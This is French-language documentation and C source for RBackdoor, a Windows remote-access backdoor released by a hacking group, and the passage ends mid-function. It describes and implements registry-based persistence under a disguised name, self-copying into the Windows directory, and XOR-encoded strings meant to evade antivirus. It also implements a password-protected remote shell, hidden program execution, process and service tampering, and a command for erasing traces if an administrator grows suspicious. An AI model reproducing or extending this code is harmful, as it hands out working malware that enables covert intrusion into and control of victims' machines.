/*
______ ______               _         _                      
| ___ \| ___ \             | |       | |                     
| |_/ /| |_/ /  __ _   ___ | | __  __| |  ___    ___   _ __  
|    / | ___ \ / _` | / __|| |/ / / _` | / _ \  / _ \ | '__| 
| |\ \ | |_/ /| (_| || (__ |   < | (_| || (_) || (_) || |    
\_| \_|\____/  \__,_| \___||_|\_\ \__,_| \___/  \___/ |_|    
                                                             
                   - Version 1.3 - 
				     RedKod Team 
				    www.redkod.com 
Coder: R-e-D 
Mail : r-e-d@redkod.com 
*/

-------------------------- [Introduction] --------------------------

Voila RBackdoor 1.0 est sortie, mais mettez vous bien en tte que cette
Version de RBackdoor reste une version en constante priode de tests et d'volution, 
Donc ne me harcelez pas avec des critiques mal places :) mais toutefois les conseils
Et rapports de bugs honntes seront accueillis  bras ouverts. Merci.

--------------------------------------------------------------------

---------------------------- [Sommaire] ----------------------------

* 0x01  Prsentation de RBackdoor et de son impact sur le systme cible.
* 0x02  Etude du fonctionnement de RBackdoor.
          -> Implmentation.
          -> Commandes.
* 0x03  Conclusion.
* 0x04  Greetings.

--------------------------------------------------------------------

---------------------------------------------------------------------
=> 0x01  Prsentation de RBackdoor et de son impact sur le systme cible.
---------------------------------------------------------------------

  Tout d'abord, RBackdoor est un outil vous permettant d'effectuer
Diverses actions  distance sur un systme cible, dans les fonctions
Les plus originales nous pouvons rvler la possibilit d'envoyer des
Mails  distance, grer les services, grer l'eventlog, ou encore obtenir
un vrai Remote DOS Shell sans pour autant remettre un port en mode listen
ce qui ne serait pas assez Discret.

  - RBackdoor est fait pour tre implmente sur des NT-Like. (NT4, Win2k, XP)
  - Elle n'est pas compatible avec les systmes Windows 95, 98, Me, Etc (Pour l'instant).
  - RBackdoor est accessible avec tout client TCP comme netcat, telnet ou autre.

  ATTENTION! Ne pas utiliser le telnet de Windows qui ajoute a chaque octet envoys
  la squence "\r\n" ce qui n'est pas supporte par la backdoor. Le telnet de Linux
  Marche sans problme, mais je conseils Netcat.

  Netcat url: http://content.443.ch/pub/security/blackhat/Exploits/NT/NetcatNT.zip

  Maintenant, nous allons tudier comment RBackdoor s'impose face au systme cible :

  1) Copie d'elle mme dans le %systemroot% de la cible.
  2) Cration de cls registre permettant d'activer la backdoor  chaque
     Dmarrage ou a chaque logon d'un user sur le systme cible.
  4) La Backdoor se met en coute sur le port demand et attend un client.

 - Dtail: Toutes les cls et chane de caractres pour la version, etc. de RBackdoor
           Sont cryptes pour permettre une certaine 'furtivit' au niveau des antivirus.

---------------------------------------------------------------------
=> 0x02  Etude du fonctionnement de RBackdoor.
---------------------------------------------------------------------

  -> Implmentation.

  # Comment excuter RBackoor? ...Rien de plus simple :
    => RBackdoor.exe <port> <password>

  <Port> : Port ou la backdoor va se mettre en attente de connexion, en
           Mode listen.

  <Password>: Password qui sera demande  chaque connexion cliente  la Backdoor et
              Qui permettra de ne pas se faire 'voler' la Backdoor ou encore la cible :)

  - Remarque : Si aucun port ou password nest dfini  l'excution, la backdoor utilisera
               Le port 4820 et le pass 'redkod' pour effectuer  bien sa tche.

  Remarque: Les password incluant des majuscules et des espaces ne sont pas supports.

  # Comment se connecter sur RBackdoor?
   => Avec Netcat : nc <ip> <port>
   => Avec Telnet : telnet <ip> <port>
    Ensuite:

   ===========================================================
   =                   RedKod Backdoor 1.0                   =
   =                        By R-e-D                         =
   =                  http://www.redkod.com                  =
   =                     r-e-d@redkod.com                    =
   ===========================================================


   Password: redkod

   => Ici vous entrez le password dfinis  l'excution.

     => Connection effectue: root@redkod.com:

 Maintenant que vous tes connect et prt  utiliser la backdoor, nous allons tudier les diverses
 Commandes qui font la richesses et l'originalit de RBackdoor.

  -> Commandes.
   - 1) Les commandes de bases: shell.
   - 2) Les commandes d'execution ou de gestion de processus et de services.
   - 3) Les commandes permettant d'administrer RBACKDOOR.
   - 4) Les commandes d'obtention de Shell interactif.
   - 5) Les commandes de prise d'empreintes.
   - 6) Les commandes de lecture et d'criture de fichiers.
   - 7) Les commandes permettant d'agir directement sur le comportement ou la configuration de la machine distante.
   - 8) Les utilitaires de RBackdoor.


/////////////////////////////////////////////////////////////////////
  1) Les commandes de bases: shell.
/////////////////////////////////////////////////////////////////////

 => Commandes tudies dans cette section:

/*
DIR         Permet de lister le contenu d'un rpertoire
LS          Permet de lister le contenu d'un rpertoire
CD          Permet de changer de rpertoire courant
DEL         Permet d'effacer un ou plusieurs fichiers
FIND        Recherche un fichier a travers le path
RMDIR       Permet d'effacer un rpertoire  
COPY        Permet de copier un fichier
MD          Permet de crer un rpertoire
MOVE        Permet de dplacer un fichier ou un rpertoire
REN         Permet de renommer un fichier
PWD         Permet de rcuprer le rpertoire courant
TIME        Affiche l'heure et la date du systme distant
CLEAR       Efface le buffer de la console
HELP        Affiche l'aide
*/               
             
                                  -------------- |     DIR OR LS     | --------------

Ces commandes permettent de lister les fichiers et les rpertoires prsents dans le rpertoire courant.
Bien sure, il est possible de leurs passer un paramtre pour lister les lments d'autres rpertoires.

Command: dir <path> 

 -> Exemple:
 
RBackdoor# dir

        Repertoire de : c:\

<REP>   Audit
        0       AUTOEXEC.BAT
        195     boot.ini
        4952    Bootfont.bin
        0       CONFIG.SYS
<REP>   Documents and Settings
        0       IO.SYS
        0       MSDOS.SYS
<REP>   mssdk
        45124   NTDETECT.COM
        224048  ntldr
<REP>   NTReskit
        402653184       pagefile.sys
<REP>   Program Files
<REP>   RECYCLER
<REP>   System Volume Information
<REP>   WINDOWS
                 9 Fichier(s)
                 8 Rep(s)
RBackdoor#
 
       
=> Code.

void Proc_Dir(LPCTSTR file)
{
    WIN32_FIND_DATA wData;
    char nom[MAX_PATH], *buf, *path;
    HANDLE listing;
    int r=0, f=0;

    buf = (char *)GlobalAlloc(GPTR, 256);
    path = (char *)GlobalAlloc(GPTR, 256);
    if(strlen(file)>2)
      sprintf(buf, "\n\tRepertoire de : %s\n\n", file);
	else {
	_getcwd(path, 256);
	sprintf(buf, "\n\tRepertoire de : %s\n\n", path);
	}
    rsend(ConnectSocket, buf);
    GlobalFree(path);
    strcat(arg[1], "*.*");
    listing = FindFirstFile(file, &wData);
    while((FindNextFile(listing, &wData)))
    {
        strcpy(nom, wData.cFileName);
        if(wData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
	rsend(ConnectSocket, "<REP>");
	r++;
    }
    else  {
        sprintf(buf, "\t%d", wData.nFileSizeHigh*MAXDWORD+wData.nFileSizeLow); 
	rsend(ConnectSocket, buf);
	f++;
	}        
	rsend(ConnectSocket, "\t");
        rsend(ConnectSocket, nom);
	rsend(ConnectSocket, "\n");
    }
	sprintf(buf, "\t\t %d Fichier(s) \n\t\t %d Rep(s)", f, r);
	rsend(ConnectSocket, buf);
	GlobalFree(buf);
}

--------------------------------------------------------------------- 

                                  -------------- |     CD     | --------------

Cette commande permet de changer de rpertoire courant.

Command: cd <path> 

=> Code.

chdir(buffer); // Et oui seulement a :)

--------------------------------------------------------------------- 

                                 -------------- |     DEL     | --------------

Cette commande permet de d'effacer un ou plusieurs fichiers.

Command: del <file> 

  -> Exemple:
     RBackdoor# del test
     msg: Fichier efface avec succs

=> Code.

int Proc_DeleteFile(char *file)
{
	unsigned int err;
	
	if(strlen(file) < 1) {
		rsend(ConnectSocket, "msg: del <file>");
		return(-1);
	}
        err = DeleteFile(file);
	if(err==0)
	{
		 rsend(ConnectSocket, "Error: Erreur lors de la tentative de suppression du fichier\n");
		 return(-1);
	}
	else rsend(ConnectSocket, "msg: Fichier efface avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 
                                
                                 -------------- |     FIND     | --------------
                                 
Cette commande permet de rechercher un fichier  travers le path courant.

Command: find <file>

  -> Exemple:
    RBackdoor# cd c:\windows
    RBackdoor# find notepad.exe
    Fichier trouve : notepad.exe

=> Code.

int Find(char *file)
{
WIN32_FIND_DATA FileInfo;
HANDLE hFind;
 
if(strlen(file) < 1) {
	rsend(ConnectSocket, "msg: find <file>");
	return(-1);
 }
hFind = FindFirstFile(file, &FileInfo) ;
if (hFind == INVALID_HANDLE_VALUE ) {
rsend(ConnectSocket, "Fichier non existant");
}
else {
rsend(ConnectSocket, "Fichier trouve : ");
rsend(ConnectSocket, file);
FindClose (hFind);
}

return(0);
}

                                 -------------- |     RMDIR     | --------------

Cette commande permet de d'effacer un rpertoire.
Il faut bien retenir que ce rpertoire se doit d'tre vide avant la tentative de 
Suppression sinon celle-ci chouera.

Command: rmdir <rpertoire>

  -> Exemple:
     RBackdoor# rmdir test
     msg: Rpertoire efface avec succs
     
=> Code.

int Proc_RemoveDir(char *dir)
{
	unsigned int err;

	if(strlen(dir) < 1) {
		rsend(ConnectSocket, "msg: rmdir <folder>");
		return(-1);
	}
	err = RemoveDirectory(dir);
	if(err==0)
	{
	     rsend(ConnectSocket, "Error: Erreur lors de la tentative de suppression du repertoire\n");
		 return(-1);
	}
	else rsend(ConnectSocket, "msg: Repertoire efface avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     COPY     | --------------

Cette commande permet de copier un fichier sur un autre emplacement.

Command: copy <source> <destination>

  -> Exemple:
     RBackdoor# copy boot.ini boot.ini.bak
     msg: Fichier copie avec succs

=> Code.

int Proc_Copy(char *src, char *dest)
{
	unsigned int err;

	if(strlen(src) < 1 || strlen(dest) < 1) {
		rsend(ConnectSocket, "msg: copy <src> <dest>");
		return(-1);
	}
	err = CopyFile(src, dest, FALSE);
	if(err==0) 
	{
	rsend(ConnectSocket, "Error: Erreur lors de la tentative de copie du fichier\n");
        return(-1);
	}
	else rsend(ConnectSocket, "msg: Fichier copie avec succes\n");
    return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |     MD     | --------------

Cette commande permet de crer un repertoire.

Command: md <repertoire>

  -> Exemple:
     RBackdoor# md test
     msg: Repertoire creer avec succes

=> Code.

int Proc_CreateDir(char *dir)
{
	unsigned int err;
	
	if(strlen(dir) < 1) {
		rsend(ConnectSocket, "msg: md <folder>");
		return(-1);
	}
	err = CreateDirectory(dir, NULL);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de creation du repertoire\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Repertoire creer avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 
                            
                                 -------------- |     MOVE     | --------------

Cette commande permet de deplacer un fichier ou un repertoire.

Command: move <source> <destination>

  -> Exemple:
     RBackdoor# move test redkod
     msg: Fichier deplace avec succes

=> Code.

int Proc_MoveFile(char *src, char *dest)
{
	unsigned int err;
	
	if(strlen(src) < 1 || strlen(dest) < 1) {
		rsend(ConnectSocket, "msg: move <src> <dest>");
		return(-1);
	}
	err = MoveFile(src, dest);
	if(err==0)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de deplacement du fichier\n");
		return(-1);
	}
	else rsend(ConnectSocket, "msg: Fichier deplace avec succes\n");
	return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |    REN     | --------------

Cette commande permet de renommer un ou plusieurs fichiers.

Command: ren <oldfile> <newfile>

  -> Exemple:
     RBackdoor# ren boot.ini.bak redkod.ini
     msg: Fichier renomme avec succes

=> Code.

int Proc_RenameFile(char *oldname, char *newname)
{
   unsigned int err;
   
   if(strlen(oldname) < 1 || strlen(newname) < 1) {
		rsend(ConnectSocket, "msg: ren <src> <dest>");
		return(-1);
   }
   err = rename(oldname, newname);
   if(err != 0)
   {
	   rsend(ConnectSocket, "Error: Erreur lors de la tentative de renommage du fichier\n");
	   return(-1);
   }
   else rsend(ConnectSocket, "msg: Fichier renomme avec succes\n");
   return(0);
}

--------------------------------------------------------------------- 
                                
                                 -------------- |    PWD     | --------------

Cette commande permet de recuperer et d'afficher le repertoire courant.

Command: pwd

  -> Exemple:
     RBackdoor# pwd
     c:\

=> Code.

int pwd(void)
{
	char *buffer;

	buffer = (char *)GlobalAlloc(GPTR, 1024);

	if(_getcwd(buffer, 1024)==NULL)
	{
		rsend(ConnectSocket, "Error: Erreur lors de la recuperation du repertoire courant\n");
		return(-1);
	}
	else rsend(ConnectSocket, buffer);
	rsend(ConnectSocket, "\n");
	GlobalFree(buffer);
	return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |    TIME     | --------------

Cette commande permet de recuperer l'heure et la date courante sur le systme cible.

Command: time

  -> Exemple:
     RBackdoor# time
     Sun Apr 28 22:41:47 2002

=> Code.

int Proc_Time()
{
    time_t t;
    time(&t) ;
    rsend(ConnectSocket, ctime(&t));
    return(0);
}

--------------------------------------------------------------------- 


                                 -------------- |    CLEAR     | --------------

Cette commande permet d'effacer le buffer courant de la console, ce qui permet de garder
une certaine surete auprs des curieux. :)

Command: clear

=> Code.

int Proc_Clear()
{
  int i;
  for(i=0; i<50; i++) rsend(ConnectSocket, "\n");
  return(0);
}

--------------------------------------------------------------------- 

                                 -------------- |    HELP     | --------------

Cette commande permet d'afficher l'aide globale de la backdoor.

Command: help           [pour afficher toutes les commandes possibles]
         help <command> [pour avoir une aide detaille sur la commande prcise]
         
  -> Exemple:
     RBackdoor# help dir
     DIR     : Permet de lister le contenu d'un repertoire
     Command : dir <repertoire>

=> Code.

Very long code, look at help.c .

--------------------------------------------------------------------- 

/////////////////////////////////////////////////////////////////////
 2) Les commandes d'execution ou de gestion de processus et de services.
/////////////////////////////////////////////////////////////////////
 
  => Commandes etudies dans cette section:
/*
EXEC        Permet d'executer une commande sur le systeme cible
HEXEC       Permet d'executer une commande tout en cachant la sortie
GETPROCESS  Recupere et affiche la liste des processus actifs
GETSERVICES Permet d'afficher les services NT presents sur une machine local ou distante
KILLPROCESS Permet de killer un processus
STARTSERVICE Permet de demarrer un servive present sur la machine serveur
STOPSERVICE Permet de stopper un service present et demarrer
DELSERVICE  Permet de supprimer un service present
*/               

 Dans cette section nous etudierons les commandes permettant de grer les processus
 et ceci  notre insu. RBackdoor petmet d'executer n'importe quel programme  distance,
 recuperer la liste des processsus actifs sur la machine distante ou encore tuer un 
 processus voulut !
 
                                  -------------- |     EXEC     | --------------

Cette commande permet d'excuter un programme sur la machine distante et afficher la sortie.
C'est  dire par exemple, si vous lancez Notepad, celui-ci s'excutera et s'affichera sur
Le moniteur de cette machine, ce qui n'est pas trs discret mais peut, trs bien tre utile.

Command: exec <command>

  -> Exemple:
     RBackdoor# exec notepad
     msg: Execution effectuee avec succes

=> Code.

int Proc_Execute(char *command)
{
	unsigned int err;
	char *buffer;
	
	buffer=(char *)GlobalAlloc(GPTR,1024);
    
	if(strlen(command) < 1) {
		rsend(ConnectSocket, "msg: exec <command>");
		return(-1);
	}
	if(strchr(command, ' ')) {
        buffer = (char *)strchr(command, ' ')+1;
        err = WinExec(buffer, SW_SHOW);
	if(err<31) rsend(ConnectSocket, "Error: Erreur lors de la tentative d'execution : \n");
        else rsend(ConnectSocket, "msg: Execution effectuee avec succes\n");
	}
	else {
        rsend(ConnectSocket, "Command: exec <command>\n");
        return(-1);
	}
	GlobalFree(buffer);
	return(0);
}

--------------------------------------------------------------------- 

                                  -------------- |     HEXEC     | --------------

Encore une fois cette commande permet d'executer un programme sur la machine distante MAIS
une chose est diffrente grce  cette commande vous allez pouvoir xecuter celui-ci
tout en le cachant. Sa seul prsence visuelle au niveau du systme sera dans la liste des
processus.

Command: hexec <command>

  -> Exemple:
     RBackdoor# hexec notepad
     msg: Execution en mode hide effectuee avec succes

=> Code.

int Proc_ExecuteHide(char *command)
{
	unsigned int err;
	char *buffer;
	
	buffer=(char *)GlobalAlloc(GPTR,1024);

	if(strlen(command) < 1) {
		rsend(ConnectSocket, "msg: hexec <command>");
		return(-1);
	}
	if(strchr(command, ' ')) {
        buffer = (char *)strchr(command, ' ')+1;
        err = WinExec(buffer, SW_HIDE);
       if(err<31) rsend(ConnectSocket, "Error: Erreur lors de la tentative d'execution\n");
        else rsend(ConnectSocket, "msg: Execution en mode hide effectuee avec succes\n");
	}
	else {
        rsend(ConnectSocket, "Command: hexec <command>\n");
        return(-1);
	}
	GlobalFree(buffer);
	return(0);
}

--------------------------------------------------------------------- 

                                  -------------- |     GETPROCESS     | --------------

Cette commande est trs utile elle permet de rcuperer la liste des processus actifs sur la 
machine distante, et surtout de rcuperer leur PID (Process ID) pour ensuite l'utiliser lors 
de la tentative de fermeture de ces processus. 

Command: getprocess

  -> Exemple:
     RBackdoor# getprocess
     unknown (Process ID: 0)
     unknown (Process ID: 4)
     smss.exe (Process ID: 340)
     unknown (Process ID: 388)
     winlogon.exe (Process ID: 416)
     services.exe (Process ID: 460)
     lsass.exe (Process ID: 472)
     svchost.exe (Process ID: 644)
     svchost.exe (Process ID: 676)
     unknown (Process ID: 784)
     etc...

=> Code.


void PrintProcessNameAndID(DWORD processID)
{
    char *buffer;
    HANDLE hProcess;
    HMODULE hMod;
    DWORD cbNeeded;
    char szProcessName[MAX_PATH] = "unknown";
 
    buffer=(char *)GlobalAlloc(GPTR,1024);

    hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID );

    if (hProcess)
    {
        if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
        {
            GetModuleBaseName( hProcess, hMod, szProcessName, sizeof(szProcessName) );
        }
    }
    sprintf(buffer, "%s (Process ID: %u)\n", szProcessName, processID );
    rsend(ConnectSocket, buffer);
    CloseHandle( hProcess );
    GlobalFree(buffer);
}

void Proc_GetProcess(void)
{
    DWORD aProcesses[1024], cbNeeded, cProcesses;
    unsigned int i;
    
    if ( !EnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
    return;
    cProcesses = cbNeeded / sizeof(DWORD);
    for ( i = 0; i < cProcesses; i++ )
    PrintProcessNameAndID( aProcesses[i] );
}

--------------------------------------------------------------------- 

                                -------------- |     GETSERVICES     | --------------

La commande GETSERVICES va permettre de savoir quels services sont lancs ou desactivs sur la machine distante.

Command  : getservices <host> <type of service>

          <type of service> : '1' for list Win32 Services
                              '2' for list Win32 Drivers Services

  -> Exemple:
     RBackdoor# getservices \\REDKOD 1

    --------------------------------------------------------------
       Display Name    |      Service Name      |     Status
    --------------------------------------------------------------
     > DISPLAY NAME : Avertissement > NAME : Alerter > STATUS : Not running
    -------------------------------------------------------------- 
     > DISPLAY NAME : Service de la passerelle de la couche Application > NAME : ALG    > STATUS : Not running  
    --------------------------------------------------------------
     > DISPLAY NAME : Gestion d'applications > NAME : AppMgmt > STATUS : Not running
   --------------------------------------------------------------
    > DISPLAY NAME : Audio Windows > NAME : AudioSrv > STATUS : Running
   --------------------------------------------------------------
    > DISPLAY NAME : Service de transfert intelligent en arrire-plan > NAME : BITS > STATUS : Not running    
   --------------------------------------------------------------
    > DISPLAY NAME : Explorateur d'ordinateur > NAME : Browser > STATUS : Running
   --------------------------------------------------------------
    > DISPLAY NAME : Service d'indexation > NAME : cisvc > STATUS : Not running
   --------------------------------------------------------------
    > DISPLAY NAME : Gestionnaire de l'Album > NAME : ClipSrv > STATUS : Not running
   --------------------------------------------------------------

=> Code.

  Too long, look at Services.c in RBackdoor Project.

--------------------------------------------------------------------- 

                                -------------- |     KILLPROCESS     | --------------

KILLPROCESS permet de tuer le processus identifi par son PID fourni en argument lors de son
xecution. 

Command: killprocess <pid>

  -> Exemple:
     RBackdoor# killprocess 1480
     msg: Processus kille avec succes

=> Code.

int Proc_KillProcess(char *arg)
{
	unsigned int err;
	HANDLE process;
	DWORD PID;

	if(strlen(arg)<1) {
		rsend(ConnectSocket, "msg: killprocess <pid>");
		return(-1);
	}
	PID = strtoul(arg, NULL, 0);
	process = OpenProcess(PROCESS_TERMINATE, 0, PID);
	if(process==NULL) rsend(ConnectSocket, "Error: Erreur lors de la tentative d'ouverture du processus\n");
	else {	
	err = TerminateProcess(process, (unsigned)-1);
	if(err==0)	rsend(ConnectSocket, "Error: Erreur lors de la tentative de l'arret du processus\n");
	else rsend(ConnectSocket, "msg: Processus tue avec succes\n");
	}
	return(0);
}

--------------------------------------------------------------------- 

                               -------------- |     STARTSERVICE     | --------------

STARTSERVICE permet de dmarrer un service inactif.

Command: startservice <host> <service name>

  -> Exemple:
   RBackdoor# startservice \\REDKOD lanmanserver
   msg: Service start pending.
   msg: Service demarre avec succes

=> Code.

  Too long, look at Services.c in RBackdoor Project.

--------------------------------------------------------------------- 

                               -------------- |     STOPSERVICE     | --------------

STOPSERVICE permet de stopper un service actif.

Command: stopservice <host> <service name>

  -> Exemple:
   RBackdoor# stopservice \\REDKOD lanmanserver
   Service arrete avec succes.
   Current State: 3
   Exit Code: 0
   Service Specific Exit Code: 0
   Check Point: 1
   Wait Hint: 20000

=> Code.

int RStopService(char *host, char *ServiceName)
{
	SC_HANDLE schService=NULL, schSCManager;
	SERVICE_STATUS ssStatus;
	char *buffer;
	
	if(strlen(host) < 1 || strlen(ServiceName) < 1)
	{
		Proc_help("stopservice");
		return(-1);
	}
	
	schSCManager = OpenSCManager(host, NULL, SC_MANAGER_ALL_ACCESS);
	schService = OpenService(schSCManager, ServiceName, SERVICE_STOP);
	if (schService == NULL) {
		rsend(ConnectSocket, "Error: Erreur lors de l'ouverture du service.\n");
		return(-1);
	}
	
	if (!ControlService(schService, SERVICE_CONTROL_STOP, &ssStatus))
	{
		rsend(ConnectSocket, "Error: Erreur lors de la tentative d'arret du service. (Le service est probablement deja arrete)\n");
		return(-1);
	}
	
	buffer = (char *)GlobalAlloc(GPTR, 1024);
	sprintf(buffer, "Service arrete avec succes.\n");
	sprintf(buffer, "%sCurrent State: %d\n",buffer, ssStatus.dwCurrentState);
	sprintf(buffer, "%sExit Code: %d\n",buffer, ssStatus.dwWin32ExitCode);
	sprintf(buffer, "%sService Specific Exit Code: %d\n",buffer, ssStatus.dwServiceSpecificExitCode);
	sprintf(buffer, "%sCheck Point: %d\n",buffer, ssStatus.dwCheckPoint);
	sprintf(buffer, "%sWait Hint: %d\n", buffer, ssStatus.dwWaitHint);
	rsend(ConnectSocket, buffer);
	GlobalFree(buffer);
	
	return(0);
}

--------------------------------------------------------------------- 

                              -------------- |     DELSERVICE     | --------------

DELSERVICE permet d'effacer un service prsent.

Command: delservice <host> <service name>

  -> Exemple:
   RBackdoor# delservice \\REDKOD XService
   Service efface avec succes.

=> Code.

int RDeleteService(char *host, char *ServiceName)
{
	SC_HANDLE schService=NULL, schSCManager;
	
	if(strlen(host) < 1 || strlen(ServiceName) < 1)
	{
		Proc_help("delservice");
		return(-1);
	}
	
	schSCManager = OpenSCManager(host, NULL, SC_MANAGER_ALL_ACCESS);
	schService = OpenService(schSCManager, ServiceName, DELETE);
	if (schService == NULL) {
		rsend(ConnectSocket, "Error: Erreur lors de l'ouverture du service.\n");
		return(-1);
	}
	
	if (!DeleteService(schService)) {
		rsend(ConnectSocket, "Error: Erreur lors de la tentative de suppresion du service\n");
		return(-1);
	}
	else rsend(ConnectSocket, "Service efface avec succes.\n");
	
	CloseServiceHandle(schService);
	return(0);
}

--------------------------------------------------------------------- 

  

/////////////////////////////////////////////////////////////////////
 3) Les commandes permettant d'administrer RBACKDOOR.
/////////////////////////////////////////////////////////////////////

  => Commandes etudies dans cette section:
/*
EXIT        Permet de fermer la connection  la backdoor tout en laissant la backdoor active
KILL        Permet de desactiver ou de reactiver la backdoor
OPEN        Creer un nouveau processus de RedBackdoor sur un autre port
RPATCH      Permet de patcher le systeme pour effacer rbackdoor
SETPASS     Permet de modifier le pass associ a la backdoor
VERSION     Affiche la version de RedBackDoor
*/


                                  -------------- |     EXIT     | --------------

La commande EXIT permet de se dconnecter de la backdoor proprement tout en laissant active celle-ci.

Command: exit

  -> Exemple:
     RBackdoor# exit
     msg: Fin de la connection, Bye..

=> Code.

int Proc_Exit(void)
{
	rsend(ConnectSocket, "msg: Fin de la connection, Bye..");
	closesocket(ConnectSocket);
	Authentification();
	return(0);
}

--------------------------------------------------------------------- 

                                -------------- |     KILL     | --------------

Attention cette commande est  la fois trs utile et trs dangereuse si on ne l'a connat pas.
Elle permet soit de tuer compltement le processus de la backdoor ou encore de ractiver la backdoor
Sur un autre port tout en fermant le port prcdemment utilis par la backdoor.

Command: kill <flag> <port>
 
<flag> : - 0 Pour killer compltement le processus de la backdoor.
         - 1 Pour reactiver la backdoor sur un autre port en tuant l'ancien processus de celle-ci.
         
<port> : Port sur lequel vous voulez ractiver la backdoor, option valable qu'avec le flag 1.

  -> Exemple:
  
     # POUR TUER LA BACKDOOR #
     RBackdoor# kill 0
     msg: Fin de la connection et desactivation de RedBackdoor, Bye..
     Ou encore:
     RBackdoor# kill
     msg: Fin de la connection et desactivation de RedBackdoor, Bye..
     
     # REACTIVER LA BACKDOOR SUR UN AUTRE PORT TOUT EN KILLANT L'ANCIEN PROCESSUS DE LA BACKDOOR#
     RBackdoor# kill 1 100
     msg: Fin de la connection et reactivation de RedBackdoor au port demande, Bye..

     C:\>nc 127.0.0.1 100
     /-----------------------------------\
     | RedBackDoor Version 1.0 By R-e-D  |
     \-----------------------------------/

     
     Password: redkod
     RBackdoor#

=> Code.

int Proc_Kill(int flag, int port)
{
	if(flag == 0 || flag == 1)
	{	
	switch(flag)
	{
	case 0: 
		rsend(ConnectSocket, "msg: Fin de la connection et desactivation de RedBackdoor, Bye..\n");
		closesocket(ConnectSocket);
		closesocket(ServerSocket);
		WSACleanup();
		ExitProcess(0);
		break;
	case 1:
		rsend(ConnectSocket, "msg: Fin de la connection et reactivation de RedBackdoor au port demande, Bye..\n");
		closesocket(ConnectSocket);
		closesocket(ServerSocket);
		WSACleanup();
		Sleep(500);
		Bind_Sock(port);
		Sleep(500);
     	        Authentification();
		break;
	case 2:
		closesocket(ConnectSocket);
		closesocket(ServerSocket);
		WSACleanup();
		Sleep(500);
		Bind_Sock(port);
		Sleep(500);
     	        Authentification();
		break;
	default: 
		rsend(ConnectSocket, "Command : kill <flag> <port>\n");
		break;
	}
	}
	else rsend(ConnectSocket, "Command : kill <flag> <port>\n");

	return(0);
}

--------------------------------------------------------------------- 

                                  -------------- |     OPEN     | --------------

Cette commande permet de crer un nouveau processus de la backdoor, ce qui permet d'utiliser plusieurs 
Shell de RBackdoor  la fois ou encore d'inviter un ami  s'amuser avec vous :)

 ATTENTION, pour crer un nouveau processus de la backdoor cette commande se sert de la copie de RBackdoor
 Crer  l'excution de celle-ci, donc si cette copie n'est plus prsente, la commande OPEN ne marchera pas.

Command: open <port>

  -> Exemple:
    RBackdoor# open 150
    msg: Nouveau processus de RedBackdoor cree avec succes sur le port 150..

=> Code.

int Proc_ReBind(int port)
{   
	char *path, *command;

	path = GlobalAlloc(GPTR, 1024);
	command = GlobalAlloc(GPTR, 1024);

	GetWindowsDirectory(path,255);
	sprintf(command, "%s\\Service.exe %i", path, port);
	WinExec(command, SW_HIDE);

	GlobalFree(path);
	GlobalFree(command);
	return(0);
}

int ReOpen(int port)
{
char *buffer;
DWORD dwRet;
HANDLE hThread[1];

if(strlen(arg[1])<1) {
    rsend(ConnectSocket, "Error: Veuillez preciser un port svp.\nCommand: open <port>\n");
	return(0);
}

if(port>65535) {
	rsend(ConnectSocket, "Error: Le port entre est trop grand, veuillez entrer un port inferieur a 65535\n");
	return(0);
}

hThread[0] = NULL;
hThread[0] = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) Proc_ReBind,(LPVOID)port,0,&dwRet);
if(hThread[0] == NULL)
{
	rsend(ConnectSocket, "Error: Erreur lors de la tentative de creation d'un nouveau processus de RBackdoor\n");
	return(-1);
}
else {
	 buffer = GlobalAlloc(GPTR, 512);
	 sprintf(buffer, "msg: Nouveau processus de RBackdoor cree avec succes sur le port %i\n", port);
	 rsend(ConnectSocket, buffer);
	 GlobalFree(buffer);
}
return(0);
}

                                  -------------- |     RPATCH     | --------------

Cette commande va permettre de nettoyer le systme de l'infection effectu par rbackdoor  son dmarrage, cela peut etre utile lors
d'un eventuel soupon de la part de l'administrateur.

Command: rpatch

  -> Exemple:
     RBackdoor# rpatch
     Suppresion des cles registres crees a l'execution de la backdoor....
     Suppresion de la copie cree par la backdoor.... (%systemroot%\Service.exe)
     --------------------
     - System as Clean! -
     --------------------

=> Code.

int rpatch(void)
{
   unsigned int err;
   char *systempath;
   char version[]={ 0x52,0x4e,0x47,0x55,0x56,0x40,0x53,0x44,0x7d,0x4c,0x48,0x42,0x53,0x4e,
		    0x52,0x4e,0x47,0x55,0x7d,0x56,0x48,0x4f,0x45,0x4e,0x56,0x52,0x7d,0x42,
		    0x54,0x53,0x53,0x44,0x4f,0x55,0x57,0x44,0x53,0x52,0x48,0x4e,0x4f,0x7d,
		    0x53,0x54,0x4f,0x7d,0x00 };  

   char key[] =   { 0x72,0x4E,0x47,0x55,0x56,0x40,0x53,0x44,0x7D,0x73,0x44,0x45,0x6A,0x4E,0x45,0x63, 0x00 }; 
   HKEY hkey;
 
   for(err=0; err < strlen(version); err++)
   version[err]^=0x21;
   for(err=0;err<strlen(key);err++)
   key[err]^=0x21;
	
   systempath = (char *)GlobalAlloc(GPTR, 256);
	
   rsend(ConnectSocket, "Suppresion des cles registres crees a l'execution de la backdoor....\n");
   /* Clean all registry keys */
   RegOpenKeyEx(HKEY_LOCAL_MACHINE,version,(DWORD)NULL,KEY_ALL_ACCESS,&hkey); 
   RegDeleteValue(hkey,"MSkernel32");
   RegCloseKey(hkey);			
   RegOpenKeyEx(HKEY_CURRENT_USER,version,(DWORD)NULL,KEY_ALL_ACCESS,&hkey); 
   RegDeleteValue(hkey,"MSkernel32");
   RegCloseKey(hkey);	
   RegDeleteKey(HKEY_LOCAL_MACHINE, key);
   RegDeleteKey(HKEY_CURRENT_USER, key);
   Sleep(1000);
   rsend(ConnectSocket, "Suppresion de la copie cree par la backdoor.... (""%systemroot%\\Service.exe"")\n"); 
   /* Erase %WindowsPath%\Service.exe */
   GetWindowsDirectory(systempath,255);
